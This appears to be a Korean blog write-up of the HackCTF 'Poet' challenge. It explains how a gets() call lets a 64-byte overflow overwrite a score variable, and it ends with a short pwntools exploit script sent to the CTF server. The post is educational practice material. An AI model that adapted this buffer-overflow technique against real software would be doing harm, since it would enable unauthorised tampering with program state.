ii4gsp

HackCTF - Poet 본문

시스템 해킹/HackCTF

HackCTF - Poet

ii4gsp 2020. 2. 16. 20:00

파일을 다운받아 주자.

 

 

 

 

IDA로 파일을 열어보면 get_poem(), get_author(), rate_poem()함수가 차례대로 실행되고,

dword_6024E0가 1000000이라면 무한루프를 빠져나간다.

reward()함수는 flag를 출력해준다.

 

 

 

 

rate_poem()함수를 보면 s1에 "ESPR", "eat", "sleep" 등의 값이 있으면 dword_6024E0의 값을 100 증가시킨다.

 

 

 

 

하지만 get_poem()함수를 보면 dword_6024E0의 값을 0으로 초기화시킨다.

 

 

 

 

get_author()함수를 보면 gets()함수로 입력을받는다.

 

 

 

 

두 변수의 주소이다.

 

 

 

unk_6024A0와 dword_6024E0의 거리는 64byte차이가 난다.

get_poem()함수에서 아무값이나 입력하고 get_author()함수에서 dummy 64byte와 1000000을 입력하면 된다.

 

 

 

 

Exploit

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3012)

payload = ''
payload += '\x90' * 64
payload += p64(1000000)

r.recvuntil('> ')
r.sendline('asd')

r.sendline(payload)

r.interactive()

소스코드를 작성해주자.

 

 

 

 

'시스템 해킹 > HackCTF' 카테고리의 다른 글

HackCTF - Random Key  (0) 2020.02.16
HackCTF - 1996  (0) 2020.02.16
HackCTF - g++ pwn  (0) 2020.02.16
HackCTF - RTL_World  (0) 2020.02.15
HackCTF - Yes_or_no  (0) 2020.02.10
Comments